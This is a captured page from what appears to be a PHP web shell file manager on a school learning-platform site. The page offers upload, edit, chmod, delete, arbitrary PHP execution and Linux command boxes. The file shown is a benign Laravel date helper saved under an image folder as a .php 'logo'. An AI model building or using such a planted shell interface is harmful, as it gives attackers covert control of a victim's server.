๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
<?php namespace App\Helpers; use Illuminate\Support\Carbon; class WaktuHelper { /** * Format: Minggu, 15 Mar 2026 */ public static function formatHariIni($tanggal = null) { $tgl = $tanggal ? Carbon::parse($tanggal) : Carbon::now(); return $tgl->translatedFormat('l, d M Y'); } /** * Format Lengkap dengan Jam: 15 Mar 2026 โ 13:48 WIB */ public static function formatLengkap($tanggal = null) { $tgl = $tanggal ? Carbon::parse($tanggal) : Carbon::now(); return $tgl->translatedFormat('d M Y โ H:i') . ' WIB'; } /** * Hanya Nama Hari: Minggu */ public static function ambilHari($tanggal = null) { $tgl = $tanggal ? Carbon::parse($tanggal) : Carbon::now(); return $tgl->translatedFormat('l'); } /** * BARU: Hanya Jam (Cocok untuk balon chat) * Format: 13:48 WIB */ public static function ambilJam($tanggal = null) { $tgl = $tanggal ? Carbon::parse($tanggal) : Carbon::now(); return $tgl->translatedFormat('H:i') . ' WIB'; } /** * BARU: Waktu Relatif (Sangat penting untuk chat/notifikasi) * Contoh: "1 menit yang lalu", "Baru saja", "2 jam yang lalu" */ public static function waktuRelatif($tanggal) { if (!$tanggal) return '-'; return Carbon::parse($tanggal)->diffForHumans(); } /** * BARU: Format Tanggal Input (Untuk value di form input date) * Format: 2026-03-15 */ public static function formatInput($tanggal = null) { $tgl = $tanggal ? Carbon::parse($tanggal) : Carbon::now(); return $tgl->format('Y-m-d'); } /** * BARU: Cek apakah hari ini (Untuk filter otomatis) */ public static function apakahHariIni($tanggal) { return Carbon::parse($tanggal)->isToday(); } /** * BARU: Hanya Tanggal (Cocok untuk Sertifikat/Surat) * Format: 16 Maret 2026 */ public static function formatTanggal($tanggal = null) { // Paksa Carbon menggunakan bahasa Indonesia \Illuminate\Support\Carbon::setLocale('id'); $tgl = $tanggal ? \Illuminate\Support\Carbon::parse($tanggal) : \Illuminate\Support\Carbon::now(); // 'd F Y' menghasilkan "16 Maret 2026" return $tgl->translatedFormat('d F Y'); } }
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD